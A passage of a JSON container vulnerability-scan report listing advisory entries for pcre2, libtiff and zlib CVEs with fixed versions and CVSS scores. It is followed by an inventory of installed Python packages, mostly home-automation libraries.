"https://bugzilla.redhat.com/2531746", "https://bugzilla.redhat.com/2531747", "https://bugzilla.redhat.com/2543797", "https://bugzilla.redhat.com/show_bug.cgi?id=2528993", "https://bugzilla.redhat.com/show_bug.cgi?id=2531743", "https://bugzilla.redhat.com/show_bug.cgi?id=2531744", "https://bugzilla.redhat.com/show_bug.cgi?id=2531745", "https://bugzilla.redhat.com/show_bug.cgi?id=2531746", "https://bugzilla.redhat.com/show_bug.cgi?id=2531747", "https://bugzilla.redhat.com/show_bug.cgi?id=2543797", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-103111", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-86145", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89156", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89157", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89158", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89160", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89161", "https://errata.almalinux.org/9/ALSA-2026-81532.html", "https://errata.rockylinux.org/RLSA-2026:81532", "https://github.com/PCRE2Project/pcre2/releases/tag/pcre2-10.48", "https://github.com/PCRE2Project/pcre2/security/advisories/GHSA-q8g2-wprr-34m9", "https://linux.oracle.com/cve/CVE-2026-89157.html", "https://linux.oracle.com/errata/ELSA-2026-81613.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89157", "https://ubuntu.com/security/notices/USN-8974-1", "https://www.cve.org/CVERecord?id=CVE-2026-89157" ], "PublishedDate": "2026-09-11T04:18:03.753Z", "LastModifiedDate": "2026-09-16T19:25:08.88Z" }, { "VulnerabilityID": "CVE-2026-89161", "PkgID": "pcre2@10.47-r1", "PkgName": "pcre2", "PkgIdentifier": { "PURL": "pkg:apk/alpine/pcre2@10.47-r1?arch=x86_64\u0026distro=3.24.1", "UID": "ac141a1d132fce5b" }, "InstalledVersion": "10.47-r1", "FixedVersion": "10.48-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89161", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:540b08dd9419ade7714f38bf5a46e78e1c508f001ab6bd8aaa96c80392203ed4", "Title": "pcre2: PCRE2: Memory corruption vulnerability in pcre2_jit_match", "Description": "In PCRE2 before 10.48, pcre2_jit_match mishandles a previously copied subject being passed in as a context. An incorrect free operation can occur.", "Severity": "HIGH", "CweIDs": [ "CWE-590" ], "VendorSeverity": { "alma": 3, "amazon": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.4 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:81532", "https://access.redhat.com/security/cve/CVE-2026-89161", "https://bugzilla.redhat.com/2528993", "https://bugzilla.redhat.com/2531743", "https://bugzilla.redhat.com/2531744", "https://bugzilla.redhat.com/2531745", "https://bugzilla.redhat.com/2531746", "https://bugzilla.redhat.com/2531747", "https://bugzilla.redhat.com/2543797", "https://bugzilla.redhat.com/show_bug.cgi?id=2528993", "https://bugzilla.redhat.com/show_bug.cgi?id=2531743", "https://bugzilla.redhat.com/show_bug.cgi?id=2531744", "https://bugzilla.redhat.com/show_bug.cgi?id=2531745", "https://bugzilla.redhat.com/show_bug.cgi?id=2531746", "https://bugzilla.redhat.com/show_bug.cgi?id=2531747", "https://bugzilla.redhat.com/show_bug.cgi?id=2543797", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-103111", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-86145", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89156", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89157", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89158", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89160", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89161", "https://errata.almalinux.org/9/ALSA-2026-81532.html", "https://errata.rockylinux.org/RLSA-2026:81532", "https://github.com/PCRE2Project/pcre2/commit/1dcd0cf42a6a7cb62cc9a7c024196733abcfda95%20%28pcre2-10.48-RC1%29", "https://github.com/PCRE2Project/pcre2/pull/937", "https://github.com/PCRE2Project/pcre2/releases/tag/pcre2-10.48", "https://linux.oracle.com/cve/CVE-2026-89161.html", "https://linux.oracle.com/errata/ELSA-2026-84799.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89161", "https://ubuntu.com/security/notices/USN-8974-1", "https://www.cve.org/CVERecord?id=CVE-2026-89161" ], "PublishedDate": "2026-09-11T04:18:04.47Z", "LastModifiedDate": "2026-09-16T19:10:47.78Z" }, { "VulnerabilityID": "CVE-2026-4775", "PkgID": "tiff@4.7.1-r0", "PkgName": "tiff", "PkgIdentifier": { "PURL": "pkg:apk/alpine/tiff@4.7.1-r0?arch=x86_64\u0026distro=3.24.1", "UID": "fc4006af0e688094" }, "InstalledVersion": "4.7.1-r0", "FixedVersion": "4.7.2-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-4775", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:93e05d8831f5d846d03f47ebe9f26806f68f7dbf470da398481a9026bca57fb4", "Title": "libtiff: libtiff: Arbitrary code execution or denial of service via signed integer overflow in TIFF file processing", "Description": "A flaw was found in the libtiff library. A remote attacker could exploit a signed integer overflow vulnerability in the putcontig8bitYCbCr44tile function by providing a specially crafted TIFF file. This flaw can lead to an out-of-bounds heap write due to incorrect memory pointer calculations, potentially causing a denial of service (application crash) or arbitrary code execution.", "Severity": "HIGH", "CweIDs": [ "CWE-190" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:12265", "https://access.redhat.com/errata/RHSA-2026:12271", "https://access.redhat.com/errata/RHSA-2026:14929", "https://access.redhat.com/errata/RHSA-2026:16055", "https://access.redhat.com/errata/RHSA-2026:19150", "https://access.redhat.com/errata/RHSA-2026:19363", "https://access.redhat.com/errata/RHSA-2026:19585", "https://access.redhat.com/errata/RHSA-2026:19586", "https://access.redhat.com/errata/RHSA-2026:19604", "https://access.redhat.com/errata/RHSA-2026:19608", "https://access.redhat.com/errata/RHSA-2026:19609", "https://access.redhat.com/errata/RHSA-2026:19657", "https://access.redhat.com/errata/RHSA-2026:19659", "https://access.redhat.com/errata/RHSA-2026:19702", "https://access.redhat.com/errata/RHSA-2026:20583", "https://access.redhat.com/errata/RHSA-2026:20585", "https://access.redhat.com/errata/RHSA-2026:20591", "https://access.redhat.com/errata/RHSA-2026:20592", "https://access.redhat.com/errata/RHSA-2026:24992", "https://access.redhat.com/errata/RHSA-2026:25096", "https://access.redhat.com/errata/RHSA-2026:25910", "https://access.redhat.com/errata/RHSA-2026:30078", "https://access.redhat.com/errata/RHSA-2026:30087", "https://access.redhat.com/errata/RHSA-2026:30088", "https://access.redhat.com/errata/RHSA-2026:30089", "https://access.redhat.com/errata/RHSA-2026:30349", "https://access.redhat.com/errata/RHSA-2026:33388", "https://access.redhat.com/errata/RHSA-2026:74674", "https://access.redhat.com/security/cve/CVE-2026-4775", "https://bugzilla.redhat.com/2450768", "https://bugzilla.redhat.com/show_bug.cgi?id=2450768", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-4775", "https://errata.almalinux.org/9/ALSA-2026-19363.html", "https://errata.rockylinux.org/RLSA-2026:19363", "https://linux.oracle.com/cve/CVE-2026-4775.html", "https://linux.oracle.com/errata/ELSA-2026-24992.html", "https://lists.debian.org/debian-lts-announce/2026/04/msg00016.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-4775", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-4775.json", "https://www.cve.org/CVERecord?id=CVE-2026-4775" ], "PublishedDate": "2026-03-24T15:16:39.693Z", "LastModifiedDate": "2026-11-04T23:17:38.283Z" }, { "VulnerabilityID": "CVE-2026-85091", "PkgID": "zlib@1.3.2-r0", "PkgName": "zlib", "PkgIdentifier": { "PURL": "pkg:apk/alpine/zlib@1.3.2-r0?arch=x86_64\u0026distro=3.24.1", "UID": "e37054a2982d6c16" }, "InstalledVersion": "1.3.2-r0", "FixedVersion": "1.3.2-r1", "Status": "fixed", "Layer": { "DiffID": "sha256:34884abbe92863fce933ed7c39c0e045631af0ed86d5cc0dfbdf9fdca426ce3c" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-85091", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:aafe230e388c73eef2c672a461eb456fd974f91ab4faca6d8e08f72b23be8be2", "Title": "zlib: zlib: Heap buffer overflow in gz_vacate() allows arbitrary code execution", "Description": "zlib versions 1.3.1.2 through 1.3.2 contain a heap buffer overflow vulnerability in the gz_vacate() function when processing non-blocking gzwrite() operations with stale external buffer pointers. Attackers can trigger the overflow by calling gzprintf() or gzvprintf() after a write stall, causing an unchecked memmove() to write beyond the internal input buffer boundary.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "azure": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-85091", "https://gist.github.com/thesmartshadow/e0b9481792afb7c31e86fee1ff084490", "https://github.com/madler/zlib", "https://github.com/madler/zlib/blob/v1.3.2/gzwrite.c#L393", "https://nvd.nist.gov/vuln/detail/CVE-2026-85091", "https://ubuntu.com/security/notices/USN-8954-1", "https://www.cve.org/CVERecord?id=CVE-2026-85091", "https://www.vulncheck.com/advisories/zlib-1.3.1.2-through-1.3.2-heap-buffer-overflow-via-gz-vacate" ], "PublishedDate": "2026-09-03T13:06:20.573Z", "LastModifiedDate": "2026-09-09T20:41:07.123Z" } ] }, { "Target": "Python", "Class": "lang-pkgs", "Type": "python-pkg", "Packages": [ { "Name": "AEMET-OpenData", "Identifier": { "PURL": "pkg:pypi/aemet-opendata@0.6.4", "UID": "f240202337cf79ce" }, "Version": "0.6.4", "Licenses": [ "GPL-2.0-only" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/AEMET_OpenData-0.6.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "AIOSomecomfort", "Identifier": { "PURL": "pkg:pypi/aiosomecomfort@0.0.35", "UID": "8c7e2f06099669c6" }, "Version": "0.0.35", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aiosomecomfort-0.0.35.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "Adax-local", "Identifier": { "PURL": "pkg:pypi/adax-local@0.3.0", "UID": "8673602068ddde06" }, "Version": "0.3.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/adax_local-0.3.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "Authlib", "Identifier": { "PURL": "pkg:pypi/authlib@1.7.2", "UID": "9b724f1f7c07e47" }, "Version": "1.7.2", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/authlib-1.7.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "DTLSSocket", "Identifier": { "PURL": "pkg:pypi/dtlssocket@0.1.19", "UID": "c7df080b3d9ec609" }, "Version": "0.1.19", "Licenses": [ "EPL-1.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/dtlssocket-0.1.19.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "Deprecated", "Identifier": { "PURL": "pkg:pypi/deprecated@1.3.1", "UID": "22322fdcb3de39ce" }, "Version": "1.3.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/deprecated-1.3.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "DoorBirdPy", "Identifier": { "PURL": "pkg:pypi/doorbirdpy@3.0.12", "UID": "3dd6c23b171a8c4c" }, "Version": "3.0.12", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/doorbirdpy-3.0.12.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "Events", "Identifier": { "PURL": "pkg:pypi/events@0.4", "UID": "7810603a514bfb54" }, "Version": "0.4", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/Events-0.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "Flask", "Identifier": { "PURL": "pkg:pypi/flask@3.1.3", "UID": "fcaf4bf5db5ac27c" }, "Version": "3.1.3", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/flask-3.1.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "HAP-python", "Identifier": { "PURL": "pkg:pypi/hap-python@5.0.0", "UID": "8feaa567618a5db6" }, "Version": "5.0.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/hap_python-5.0.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "HATasmota", "Identifier": { "PURL": "pkg:pypi/hatasmota@0.10.1", "UID": "4eccfa61b6483f85" }, "Version": "0.10.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/hatasmota-0.10.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "Habiticalib", "Identifier": { "PURL": "pkg:pypi/habiticalib@0.4.7", "UID": "9f6cbe90d063135" }, "Version": "0.4.7", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/habiticalib-0.4.7.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "Homevolt", "Identifier": { "PURL": "pkg:pypi/homevolt@0.5.0", "UID": "d8b2167bce0642f5" }, "Version": "0.5.0", "Licenses": [ "GPL-3.0-only" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/homevolt-0.5.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "HueBLE", "Identifier": { "PURL": "pkg:pypi/hueble@2.2.2", "UID": "bd913ad3d2b3bfdb" }, "Version": "2.2.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/hueble-2.2.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "ImageIO", "Identifier": { "PURL": "pkg:pypi/imageio@2.37.3", "UID": "1e505e16788bd5b0" }, "Version": "2.37.3", "Licenses": [ "BSD-2-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/imageio-2.37.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "Jinja2", "Identifier": { "PURL": "pkg:pypi/jinja2@3.1.6", "UID": "24851449839b0b71" }, "Version": "3.1.6", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/jinja2-3.1.6.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "Markdown", "Identifier": { "PURL": "pkg:pypi/markdown@3.10.2", "UID": "1d65d6434b78eb2f" }, "Version": "3.10.2", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/markdown-3.10.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "MarkupSafe", "Identifier": { "PURL": "pkg:pypi/markupsafe@3.0.3", "UID": "f01ffe57aa9c6ca3" }, "Version": "3.0.3", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/markupsafe-3.0.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "Mastodon.py", "Identifier": { "PURL": "pkg:pypi/mastodon.py@2.2.1", "UID": "f0587b95fc97274" }, "Version": "2.2.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/mastodon_py-2.2.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "Pint", "Identifier": { "PURL": "pkg:pypi/pint@0.25.3", "UID": "ca2169bf9b15fa8f" }, "Version": "0.25.3", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pint-0.25.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "PlexAPI", "Identifier": { "PURL": "pkg:pypi/plexapi@4.15.16", "UID": "779aab8cfd3518a9" }, "Version": "4.15.16", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/PlexAPI-4.15.16.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "ProgettiHWSW", "Identifier": { "PURL": "pkg:pypi/progettihwsw@0.1.3", "UID": "6521056287529384" }, "Version": "0.1.3", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/ProgettiHWSW-0.1.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "PsychroLib", "Identifier": { "PURL": "pkg:pypi/psychrolib@2.5.0", "UID": "a6e321a367c5647a" }, "Version": "2.5.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/PsychroLib-2.5.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "PyChromecast", "Identifier": { "PURL": "pkg:pypi/pychromecast@14.0.10", "UID": "99f5fa79a4b50a39" }, "Version": "14.0.10", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pychromecast-14.0.10.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "PyFlume", "Identifier": { "PURL": "pkg:pypi/pyflume@0.6.5", "UID": "e4fa80ee8a1cdabf" }, "Version": "0.6.5", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/PyFlume-0.6.5.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "PyFronius", "Identifier": { "PURL": "pkg:pypi/pyfronius@0.8.2", "UID": "9505471e411626d" }, "Version": "0.8.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyfronius-0.8.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "PyJWT", "Identifier": { "PURL": "pkg:pypi/pyjwt@2.12.1", "UID": "d40f4444c982700a" }, "Version": "2.12.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyjwt-2.12.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "PyLoadAPI", "Identifier": { "PURL": "pkg:pypi/pyloadapi@2.1.0", "UID": "3c4cad06a0e703a4" }, "Version": "2.1.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyloadapi-2.1.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "PyMetEireann", "Identifier": { "PURL": "pkg:pypi/pymeteireann@2024.11.0", "UID": "ee4f2c014a9e0930" }, "Version": "2024.11.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/PyMetEireann-2024.11.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "PyMetno", "Identifier": { "PURL": "pkg:pypi/pymetno@0.13.0", "UID": "b25e619b409792c9" }, "Version": "0.13.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/PyMetno-0.13.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "PyMicroBot", "Identifier": { "PURL": "pkg:pypi/pymicrobot@0.0.23", "UID": "3aa4847483f77685" }, "Version": "0.0.23", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pymicrobot-0.0.23.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "PyNaCl", "Identifier": { "PURL": "pkg:pypi/pynacl@1.6.2", "UID": "2cb272ec63b5088d" }, "Version": "1.6.2", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/pynacl-1.6.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "PyPasser", "Identifier": { "PURL": "pkg:pypi/pypasser@0.0.5", "UID": "4a73b70cc2626867" }, "Version": "0.0.5", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/PyPasser-0.0.5.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "PyQRCode", "Identifier": { "PURL": "pkg:pypi/pyqrcode@1.2.1", "UID": "cbe2c5dcf5538435" }, "Version": "1.2.1", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/PyQRCode-1.2.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "PyRIC", "Identifier": { "PURL": "pkg:pypi/pyric@0.1.6.3", "UID": "46d8d090ed801917" }, "Version": "0.1.6.3", "Licenses": [ "GPL-3.0-only" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/PyRIC-0.1.6.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "PyRMVtransport", "Identifier": { "PURL": "pkg:pypi/pyrmvtransport@0.3.3", "UID": "35c3172853f6be99" }, "Version": "0.3.3", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/PyRMVtransport-0.3.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "PySocks", "Identifier": { "PURL": "pkg:pypi/pysocks@1.7.1", "UID": "6ed6b6a04867ea6d" }, "Version": "1.7.1", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/PySocks-1.7.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "PySrDaliGateway", "Identifier": { "PURL": "pkg:pypi/pysrdaligateway@0.21.0", "UID": "934836076d7ceffe" }, "Version": "0.21.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pysrdaligateway-0.21.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "PySwitchbot", "Identifier": { "PURL": "pkg:pypi/pyswitchbot@2.2.0", "UID": "7bb31e84415db57f" }, "Version": "2.2.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyswitchbot-2.2.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "PySwitchmate", "Identifier": { "PURL": "pkg:pypi/pyswitchmate@0.5.1", "UID": "903edd3de087e257" }, "Version": "0.5.1", "Licenses": [ "UNKNOWN" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/PySwitchmate-0.5.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "PySyncThru", "Identifier": { "PURL": "pkg:pypi/pysyncthru@0.8.0", "UID": "47773127b06b3d70" }, "Version": "0.8.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/PySyncThru-0.8.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "PyTransportNSW", "Identifier": { "PURL": "pkg:pypi/pytransportnsw@0.1.1", "UID": "eb0c2b3f37fbda26" }, "Version": "0.1.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/PyTransportNSW-0.1.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "PyTurboJPEG", "Identifier": { "PURL": "pkg:pypi/pyturbojpeg@1.8.3", "UID": "1a3a22ed525cbba8" }, "Version": "1.8.3", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": 